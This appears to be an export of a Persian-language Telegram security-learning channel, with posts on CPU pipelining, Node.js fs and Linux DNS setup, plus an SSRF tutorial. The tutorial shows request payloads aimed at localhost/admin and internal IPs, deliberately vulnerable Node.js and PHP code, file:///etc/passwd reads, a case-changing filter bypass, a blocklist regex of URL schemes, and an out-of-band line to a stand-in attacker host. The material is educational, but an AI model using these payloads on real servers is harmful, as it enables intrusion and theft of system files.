/dev/null
Photo
آقا دیدم این مبحث معماری کامپیوتر جذابه 🦦❤️
با یه مثال مبگم
همینطور که تو شکل میبینین یه خط تولید ماشین رو شکل داره نشون میده که یه ماشین چند مرحله داره واسه ی تولید شدن مثلا میتونه ساخت بدنه باشه و بعدش رنگ و ...
دقیقا مثل اجرای دستورات تویه کامپیوتر که از fetch ( فراخوانی از حافظه ) شروع و بعدش Decode ( کد گشایی دستورات ) و بعدش محاسبه effective address ( که نشون میده دستورات میتونن مستقیم به یه مکان از حافظه اشاره کنن یا اینکه میتونن به یه خونه از حافظه اشاره کنن که تویه اون خونه به یه خونه دیگه اشاره میکنه (: ) و بعدش هم execut ( اجرا کردن دستورات )
حالا یه نکته ای هس، cpu میتونه دستور x رو فقط مشغول به اجرا کردن باشه یا میتونه هم زمان با انجام دستور x بیاد و دستورات دیگه رو هم اجرا کنه.
مثلا تویه همون ماشین سازی ، اگه یه ماشین ساختش 10 ساعت طول بکشه و ما 10 تا ماشین داشته باشیم ، اگر از pipeline استفاده نکنیم میشه 100 ساعت ولی اگه این کار ها رو موازی با هم انجام بدیم ینی اگه ساخت بدنه خودرو تموم شد و رفت سراغ مثلا تولید رنگ ، یه ماشین دیگه هم شروع به ساختن بشه ینی بدنش تولید بشه و بعدش که رنگ ماشین اول تموم شد ماشین دوم بیاد رنگ بشه و همزمان ماشین سوم بیاد برای تولید بدنه
حالا یه مسئله ای که اینجا هس و اونم تاخیر زمانی بین انجام دستورات هس
مثلا تویه همون ماشین سازی ، طبیعتا ساخت بدنه خیلی بیشتر از رنگ زدن طول میکشه و اینجا یه تاخیر زمانی داریم که باعث میشه یه قسمت از کارخانه بیکار باشه ( ینی یه قسمت از cpu و الکی کلاک هدر بده ، بهش میگن stalls )
باید طراحی طوری باشه که مثلا یه pipe Line داشته باشیم برای رنگ زدن و نصب شیشه ( 5 ساعت ) و یه pipe Line جداگانه برای ساخت بدنه ( 5 ساعت ) که حالا هر چی pipe Line ها افزایش پیدا کنه ، پهنای باند هم کمتر میشه ( در واقع پهنا کمتر نمیشه اگه فرض کنین 64 بیت حافظه داریم و بخوایم به دو تا 32 بیت تبدیل کنیم ، پهنا همونه و فقط عملیات ها برای دسترسی به اون مقدار بیشتر شده )
و یه مشکل دیگه هم ممکنه پیش بیاد به اسم Hazards و یه نمونش اینه که فرض کنین دو تا ماشین تویه تولید رنگ هسن ولی فقط یه دستگاه برای رنگ کردن هست که بهش میگن WAW (Write After Write)
نمونه هاش زیاد هسن مثلا WAR و RAW هم میدونم داریم.
با یه مثال مبگم
همینطور که تو شکل میبینین یه خط تولید ماشین رو شکل داره نشون میده که یه ماشین چند مرحله داره واسه ی تولید شدن مثلا میتونه ساخت بدنه باشه و بعدش رنگ و ...
دقیقا مثل اجرای دستورات تویه کامپیوتر که از fetch ( فراخوانی از حافظه ) شروع و بعدش Decode ( کد گشایی دستورات ) و بعدش محاسبه effective address ( که نشون میده دستورات میتونن مستقیم به یه مکان از حافظه اشاره کنن یا اینکه میتونن به یه خونه از حافظه اشاره کنن که تویه اون خونه به یه خونه دیگه اشاره میکنه (: ) و بعدش هم execut ( اجرا کردن دستورات )
حالا یه نکته ای هس، cpu میتونه دستور x رو فقط مشغول به اجرا کردن باشه یا میتونه هم زمان با انجام دستور x بیاد و دستورات دیگه رو هم اجرا کنه.
مثلا تویه همون ماشین سازی ، اگه یه ماشین ساختش 10 ساعت طول بکشه و ما 10 تا ماشین داشته باشیم ، اگر از pipeline استفاده نکنیم میشه 100 ساعت ولی اگه این کار ها رو موازی با هم انجام بدیم ینی اگه ساخت بدنه خودرو تموم شد و رفت سراغ مثلا تولید رنگ ، یه ماشین دیگه هم شروع به ساختن بشه ینی بدنش تولید بشه و بعدش که رنگ ماشین اول تموم شد ماشین دوم بیاد رنگ بشه و همزمان ماشین سوم بیاد برای تولید بدنه
حالا یه مسئله ای که اینجا هس و اونم تاخیر زمانی بین انجام دستورات هس
مثلا تویه همون ماشین سازی ، طبیعتا ساخت بدنه خیلی بیشتر از رنگ زدن طول میکشه و اینجا یه تاخیر زمانی داریم که باعث میشه یه قسمت از کارخانه بیکار باشه ( ینی یه قسمت از cpu و الکی کلاک هدر بده ، بهش میگن stalls )
باید طراحی طوری باشه که مثلا یه pipe Line داشته باشیم برای رنگ زدن و نصب شیشه ( 5 ساعت ) و یه pipe Line جداگانه برای ساخت بدنه ( 5 ساعت ) که حالا هر چی pipe Line ها افزایش پیدا کنه ، پهنای باند هم کمتر میشه ( در واقع پهنا کمتر نمیشه اگه فرض کنین 64 بیت حافظه داریم و بخوایم به دو تا 32 بیت تبدیل کنیم ، پهنا همونه و فقط عملیات ها برای دسترسی به اون مقدار بیشتر شده )
و یه مشکل دیگه هم ممکنه پیش بیاد به اسم Hazards و یه نمونش اینه که فرض کنین دو تا ماشین تویه تولید رنگ هسن ولی فقط یه دستگاه برای رنگ کردن هست که بهش میگن WAW (Write After Write)
نمونه هاش زیاد هسن مثلا WAR و RAW هم میدونم داریم.
👍4👏2
Server Side Forgery : (SSRF)
آسیبپذیری امنیتی وب است که به کاربر اجازه میده تا برنامه سمت سرور را وادار کند تا درخواستهایی به مقصدهای دلخواهش ارسال کنه که میتونه سرور های داخلی سایت باشه یا یه سری سرور های خارج از شبکه که اطلاعات مهمی داخلش هس و دسترسی public ندارند .
حالا چه زمانی رخ میده ؟
وقتی که سایت به کاربر اجازه میده ورودی های ssrf رو تبدیل به درخواست های HTTP بکنن و در سمت سرور به عنوان به request پردازش میشه
با ssrf هم میشه یه سری data خواند و هم بعضی مواقع دستور اجرا کرد . ( پس کلا تویه ssrf میخوایم به منابعی که از بیرون دسترسی public ندارند دسترسی پیدا کنیم که میتونه localhost باشه یا ip خصوصی)
مثلا اگه یه سایت داشته باشیم و جایی برای نشان دادن باقی مانده یه محصول باشه: ( چون داره برای نشون دادن باقی مانده از اطلاعات و database سرور کمک میگیره )
اولش یه چنین request میره :
که میتونیم به این request ها تغییرش بدیم :
یا
یه مثال از کد آسیب پذیر ( node js ) :
Send HTTP req to Servers:
یا برای php :
یا حتی میشه فایل خوند با scheme file :
بعضی وقتا هم هیچ response نداریم از طرف Server که میشه همون blind که تقریبا همه جا داشتیمش که یه روشش out-of-band هس ( یا با time هم میشه ):
که از لاگ های سرور خودمون میشه فهمید ssrf داریم یا نه .
#ssrf
آسیبپذیری امنیتی وب است که به کاربر اجازه میده تا برنامه سمت سرور را وادار کند تا درخواستهایی به مقصدهای دلخواهش ارسال کنه که میتونه سرور های داخلی سایت باشه یا یه سری سرور های خارج از شبکه که اطلاعات مهمی داخلش هس و دسترسی public ندارند .
حالا چه زمانی رخ میده ؟
وقتی که سایت به کاربر اجازه میده ورودی های ssrf رو تبدیل به درخواست های HTTP بکنن و در سمت سرور به عنوان به request پردازش میشه
با ssrf هم میشه یه سری data خواند و هم بعضی مواقع دستور اجرا کرد . ( پس کلا تویه ssrf میخوایم به منابعی که از بیرون دسترسی public ندارند دسترسی پیدا کنیم که میتونه localhost باشه یا ip خصوصی)
مثلا اگه یه سایت داشته باشیم و جایی برای نشان دادن باقی مانده یه محصول باشه: ( چون داره برای نشون دادن باقی مانده از اطلاعات و database سرور کمک میگیره )
اولش یه چنین request میره :
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
که میتونیم به این request ها تغییرش بدیم :
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
یا
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://192.168.0.68/admin
یه مثال از کد آسیب پذیر ( node js ) :
const express = require('express');
const axios = require('axios');
const app = express();
app.get('/fetch', async (req, res) => {
const url = req.query.url;
try {
const response = await axios.get(url);
res.send(response.data);
} catch (error) {
res.status(500).send('Error in fetch');
}
});
app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});Send HTTP req to Servers:
http://localhost:3000/fetch?url=http://localhost:8000
یا برای php :
<?php
if (isset($_GET['img'])){
$img = $_GET['img'] ;
$image = fopen($img , 'rb') ;
fpassthru($image) ;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SSRF TEST</title>
</head>
<body>
<img src='/?img=/your_directory_file'> </img>
</body>
</html>
http://localhost:8001/ssrf.php/?img=https://google.comیا حتی میشه فایل خوند با scheme file :
http://localhost:8001/ssrf.php/?img=file:///etc/passwd
بعضی وقتا هم هیچ response نداریم از طرف Server که میشه همون blind که تقریبا همه جا داشتیمش که یه روشش out-of-band هس ( یا با time هم میشه ):
http://localhost:8001/ssrf.php/?img=https://attacker.server.com:port
که از لاگ های سرور خودمون میشه فهمید ssrf داریم یا نه .
#ssrf
❤6
/dev/null
Server Side Forgery : (SSRF) آسیبپذیری امنیتی وب است که به کاربر اجازه میده تا برنامه سمت سرور را وادار کند تا درخواستهایی به مقصدهای دلخواهش ارسال کنه که میتونه سرور های داخلی سایت باشه یا یه سری سرور های خارج از شبکه که اطلاعات مهمی داخلش هس و دسترسی…
آقا بعضی جاها یا بعضی از scheme ها رو نمیشه استفاده کرد یا نمیشه از localhost استفاده کرد و یا اصطلاحا url رو میندازه ( همون url که میخوایم درخواست بهش زده بشه ) یه سری payload داره که بعدا میزارم 🦦❤️
❤1
/dev/null
و بعد وب سایت خودمون برای دریافت cookie : const express = require('express'); const app = express(); const PORT = 8083; app.get('/xss', async (req, res) => { const cookie = req.query.cookie; console.log('Received cookie:', cookie); res.send('Cookie…
Day 28 of 30 Day — 30 Vulnerabilities | DOM-based XSS
Day 28 of 30 Day — 30 Vulnerabilities | DOM-based XSS
https://it4chis3c.medium.com/day-28-of-30-day-30-vulnerabilities-dom-based-xss-2527a06f3dbc
Day 28 of 30 Day — 30 Vulnerabilities | DOM-based XSS
https://it4chis3c.medium.com/day-28-of-30-day-30-vulnerabilities-dom-based-xss-2527a06f3dbc
Medium
Day 28 of 30 Day — 30 Vulnerabilities | DOM-based XSS
Day 28: Mastering DOM-based XSS — Essential Tricks & Techniques Based on Personal Experience and Valuable POCs
❤4
/dev/null
Server Side Forgery : (SSRF) آسیبپذیری امنیتی وب است که به کاربر اجازه میده تا برنامه سمت سرور را وادار کند تا درخواستهایی به مقصدهای دلخواهش ارسال کنه که میتونه سرور های داخلی سایت باشه یا یه سری سرور های خارج از شبکه که اطلاعات مهمی داخلش هس و دسترسی…
خب تویه بحث checker function ها
اول اصن واسه چی فیلتر میزارن ؟
فرض کنید برای موجودی گرفتن وارد یک درگاه بانکی میشوید خوب حالا برای نشان دادن موجودی شما یک درخواست از طرف وب سرور به سرور مرکزی که فرض کنید LocalHost هست درخواست میزند
( البته تویه سیستم بانک اینقدر ساده نیس ولی خوب )
حالا باید برای وب سرور یک سری چکر فانکشن ست شود که هر کلاینتی نتواند از طرف بانک به سرور مرکزی درخواست بزند ، در اصل کاری میکند که ما به هر جایی نتوانیم درخواست بزنیم.
حالا فیلتر ها رو دو جا استفاده میکنن :
1_ تویه Domain name
2_تویه protocol که درخواست رو باهاش ارسال میکنیم
تویه protocol ها : ( میتونن یه whitelist درست کنن)
مثلا این regex میاد میگه فقط درخواست ها میتونن با HTTP یا HTTPS فرستاده بشن . مثلا این درخواست ها توش غیر مجاز هسن :
با regexpal برید خودتون چک کنین چرا کار نمیدن
یا blacklist میتونه اینطوری باشه :
یا میتونه درخواست به یه سری ip ها رو بلاک کنه :
خب حالا من میخوام تویه /etc/passswd رو ببینم که scheme اون هم file هس که اونم بلاکه ولی میشه اینطوری درخواست بزنیم :
چون مرورگر به بزرگ و کوچک حروف حساس نیس و باید وب سرور قبل گرفتن url حروفش رو کوچیک کنه
اول اصن واسه چی فیلتر میزارن ؟
فرض کنید برای موجودی گرفتن وارد یک درگاه بانکی میشوید خوب حالا برای نشان دادن موجودی شما یک درخواست از طرف وب سرور به سرور مرکزی که فرض کنید LocalHost هست درخواست میزند
( البته تویه سیستم بانک اینقدر ساده نیس ولی خوب )
حالا باید برای وب سرور یک سری چکر فانکشن ست شود که هر کلاینتی نتواند از طرف بانک به سرور مرکزی درخواست بزند ، در اصل کاری میکند که ما به هر جایی نتوانیم درخواست بزنیم.
حالا فیلتر ها رو دو جا استفاده میکنن :
1_ تویه Domain name
2_تویه protocol که درخواست رو باهاش ارسال میکنیم
تویه protocol ها : ( میتونن یه whitelist درست کنن)
^(http|https):\/\/[^\s\/$.?#].[^\s]*$مثلا این regex میاد میگه فقط درخواست ها میتونن با HTTP یا HTTPS فرستاده بشن . مثلا این درخواست ها توش غیر مجاز هسن :
localhost/admin
file:///etc/passwd
https:// site.com
با regexpal برید خودتون چک کنین چرا کار نمیدن
یا blacklist میتونه اینطوری باشه :
^(file|gopher|dict|ftp|ssh|telnet)://file:// ---> block
gopher:// --> block
...
یا میتونه درخواست به یه سری ip ها رو بلاک کنه :
^(127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|169\.254\.)خب حالا من میخوام تویه /etc/passswd رو ببینم که scheme اون هم file هس که اونم بلاکه ولی میشه اینطوری درخواست بزنیم :
FiLe:///etc/passwd
چون مرورگر به بزرگ و کوچک حروف حساس نیس و باید وب سرور قبل گرفتن url حروفش رو کوچیک کنه
let url = "FiLe:///etc/passwd";
url = url.toLowerCase();
console.log(url);
Regexpal
Regex Tester - Javascript, PCRE, PHP
Test your Javascript and PCRE regular expressions online.
❤5
/dev/null
خب تویه بحث checker function ها اول اصن واسه چی فیلتر میزارن ؟ فرض کنید برای موجودی گرفتن وارد یک درگاه بانکی میشوید خوب حالا برای نشان دادن موجودی شما یک درخواست از طرف وب سرور به سرور مرکزی که فرض کنید LocalHost هست درخواست میزند ( البته تویه سیستم…
const express = require('express');
const fs = require('fs');
const app = express();
const port = 8000;
const blacklistRegex = /^(file|gopher|dict|ftp|ssh|telnet):\/\//;
app.get('/readfile', (req, res) => {
const filePath = req.query.path;
if (!filePath) {
return res.status(400).send('no params');
}
if (blacklistRegex.test(filePath)) {
return res.status(403).send('Access forbidden');
}
fs.readFile(filePath, 'utf8', (error, data) => {
if (error) {
return res.status(404).send('File not found');
}
res.send(data);
});
});
app.listen(port, () => {
console.log(`http://localhost:${port}`);
});❤6
/dev/null
const express = require('express'); const fs = require('fs'); const app = express(); const port = 8000; const blacklistRegex = /^(file|gopher|dict|ftp|ssh|telnet):\/\//; app.get('/readfile', (req, res) => { const filePath = req.query.path; if (!filePath)…
میتونین تویه این کد یه سری regex ها مختلف بزنین حالا whitelist یا blacklist و ازش تست بگیرین🦦
🔥3👏1
Find Hidden Endpoint
https://raw.githubusercontent.com/sinaayeganeh/Find-Hidden-Endpoint/refs/heads/main/js.txt
https://raw.githubusercontent.com/sinaayeganeh/Find-Hidden-Endpoint/refs/heads/main/js.txt
👏2
آقا داشتم درباره fs (file system) تویه node js میخوندم دیدم این بحث جالبیه 🦦❤️
کلا fs یه ماژول برای اجرا کردن دستورات سیستم عاملی هست .
میاد یه سری directory یا file درست میکنه ، حذف ، ویرایش و یا پسوند فایل میخونه و ...
حالا تویه node js دو نوع عملکرد واسه ماژول fs میتونه رخ بده :
عملکرد همزمان (Synchronous):
حالا فرقشون چیه تویه پردازش و مدیریت خطا:
کلا fs یه ماژول برای اجرا کردن دستورات سیستم عاملی هست .
میاد یه سری directory یا file درست میکنه ، حذف ، ویرایش و یا پسوند فایل میخونه و ...
حالا تویه node js دو نوع عملکرد واسه ماژول fs میتونه رخ بده :
عملکرد همزمان (Synchronous):
در این حالت، برنامه تا زمانی که عملیات I/O (مانند خواندن فایل) کامل نشود، متوقف میشود. به عنوان مثال، fs.readFileSync باعث میشود که برنامه منتظر بماند تا فایل خوانده شود و سپس به خط بعدی کد برود.عملکرد ناهمزمان (Asynchronous):
این روش میتواند در اسکریپتهای ساده یا در مواقعی که نیاز به عملکرد سریع و بدون پیچیدگی دارید، مفید باشد.
در این حالت، برنامه میتواند به کار خود ادامه دهد در حالی که عملیات I/O در پسزمینه در حال انجام است. به عنوان مثال، fs.readFile به شما این امکان را میدهد که با استفاده از callback functions ، نتیجه را پس از اتمام عملیات دریافت کنید.
این روش برای برنامههای سرور که نیاز به پردازش همزمان چندین درخواست دارند، بسیار مناسب است. ینی در این روش باعث میشه event loop مسدود نشه.
حالا فرقشون چیه تویه پردازش و مدیریت خطا:
در متدهای همزمان، میتوانیم try-catch برای مدیریت خطاها استفاده کنیم.
در متدهای ناهمزمان، خطاها معمولاً از طریق callbackها، Promiseها یا syntax async/await مدیریت میشوند
❤2
/dev/null
آقا داشتم درباره fs (file system) تویه node js میخوندم دیدم این بحث جالبیه 🦦❤️ کلا fs یه ماژول برای اجرا کردن دستورات سیستم عاملی هست . میاد یه سری directory یا file درست میکنه ، حذف ، ویرایش و یا پسوند فایل میخونه و ... حالا تویه node js دو نوع عملکرد واسه…
Synchronous :
Asynchronous :
const path = require('path')
const fs = require('fs');
const projec = path.join(__dirname, 'projects');
if (!fs.existsSync(projec)) {
try {
fs.mkdirSync(projec);
console.log('Directory created successfully.');
} catch (err) {
console.log('Error creating directory:', err);
}
} else {
console.log('Directory already exists.');
}
console.log('It is interesting');Asynchronous :
const path = require('path')
const fs = require('fs');
const projects = path.join(__dirname , 'projects')
if (!fs.existsSync(projects)){
fs.mkdir(projects , (err)=>{
if (err){
console.log('Error creating directory:', err);
}
console.log(`add new directory be name projects`);
})
}
console.log('It is interesting');👏4
/dev/null
Synchronous : const path = require('path') const fs = require('fs'); const projec = path.join(__dirname, 'projects'); if (!fs.existsSync(projec)) { try { fs.mkdirSync(projec); console.log('Directory created successfully.'); }…
اینم واسه تستش
اگه هر کدوم رو تست کنین تویه همزمان اون it is interesting آخر همه ی لاگ ها چاپ میشه ولی اگه تویه ناهمزمان تست کنین اول از همه لاگ ها چاپ میشه
اگه هر کدوم رو تست کنین تویه همزمان اون it is interesting آخر همه ی لاگ ها چاپ میشه ولی اگه تویه ناهمزمان تست کنین اول از همه لاگ ها چاپ میشه
👍2💯2
Forwarded from リョウ (Mr.Packer)
اگر از لینوکس استفاده میکنید احتمالا پیش اومده هرچقدر فایل resolv.conf رو ادیت میکنید دوباره nameserver ها بعد از ریبوت یا ریست شدن سرویس نتورک به حالت اول بر میگردن اما راه حل چیه ؟
بنا بر توزیعتون پکیج resolvconf رو نصب کنید مثلا برای دبین ها apt install resolvconf و آرچ ها pacman -S resolvconf و ..
بعدش باید سرویسش رو enable و start کرد :
سپس این مسیر باید ویرایش بشه etc/resolvconf/resolv.conf.d/head
و nameserver های خوتون رو داخلش بریزید مثلا :
و سپس این دو سرویس رو ریستارت کنید باید اوکی بشه :
#linux
@DiHoXCH
بنا بر توزیعتون پکیج resolvconf رو نصب کنید مثلا برای دبین ها apt install resolvconf و آرچ ها pacman -S resolvconf و ..
بعدش باید سرویسش رو enable و start کرد :
$ sudo systemctl start resolvconf.service
$ sudo systemctl enable resolvconf.service
سپس این مسیر باید ویرایش بشه etc/resolvconf/resolv.conf.d/head
$ sudo nano /etc/resolvconf/resolv.conf.d/head
و nameserver های خوتون رو داخلش بریزید مثلا :
nameserver 8.8.8.8
و سپس این دو سرویس رو ریستارت کنید باید اوکی بشه :
$ sudo systemctl restart resolvconf.service
$ sudo systemctl restart systemd-resolved.service
#linux
@DiHoXCH
❤3👎1
منم کلافه شده بودم رفتم سرچ کنم ببینم چه خبره 🦦
رفتم یه سرچ زدم چون اصن همچین مسیری طبق پست برای من نبود
اول باید ببینیم سیستم از چه سرویس مدیریت شبکه ای استفاده میکنه
چطوری ؟
مال من NetworkManager بود . میتونه systemd-resolved یا dhclient و ... باشه .
( فقط رویه NetworkManager تست کردم )
بعدش اگه فقط خواستین رویه تمام connection ها dns ست کنین یه حلقه میخواد و یه nmcli برای پیدا کردن connection ها و dns خودکار هم ایگنور کنین (DHCP)
واسه کانکشن ها جدید هم
اینو به main اضافه کنین
رفتم یه سرچ زدم چون اصن همچین مسیری طبق پست برای من نبود
اول باید ببینیم سیستم از چه سرویس مدیریت شبکه ای استفاده میکنه
چطوری ؟
$ sudo mousepad /etc/resolv.conf
مال من NetworkManager بود . میتونه systemd-resolved یا dhclient و ... باشه .
( فقط رویه NetworkManager تست کردم )
بعدش اگه فقط خواستین رویه تمام connection ها dns ست کنین یه حلقه میخواد و یه nmcli برای پیدا کردن connection ها و dns خودکار هم ایگنور کنین (DHCP)
$ for connection in $(nmcli -g NAME connection); do
sudo nmcli connection modify "$connection" ipv4.dns 8.8.8.8
sudo nmcli connection modify "$connection" ipv4.ignore-auto-dns yes
done
واسه کانکشن ها جدید هم
sudo mousepad /etc/NetworkManager/NetworkManager.conf
اینو به main اضافه کنین
[main]
dns=8.8.8.8
$ sudo systemctl restart NetworkManager
👍4
بسی جالب بود
https://medium.com/h7w/ultimate-ffuf-cheatsheet-advanced-fuzzing-tactics-for-pro-bug-hunters-492598750150
https://medium.com/h7w/ultimate-ffuf-cheatsheet-advanced-fuzzing-tactics-for-pro-bug-hunters-492598750150
Medium
Ultimate FFUF Cheatsheet: Advanced Fuzzing Tactics for Pro Bug Hunters!
While many hunters are familiar with basic fuzzing techniques using FFUF (Fuzz Faster U Fool), a few truly understand its power when pushed…
👍1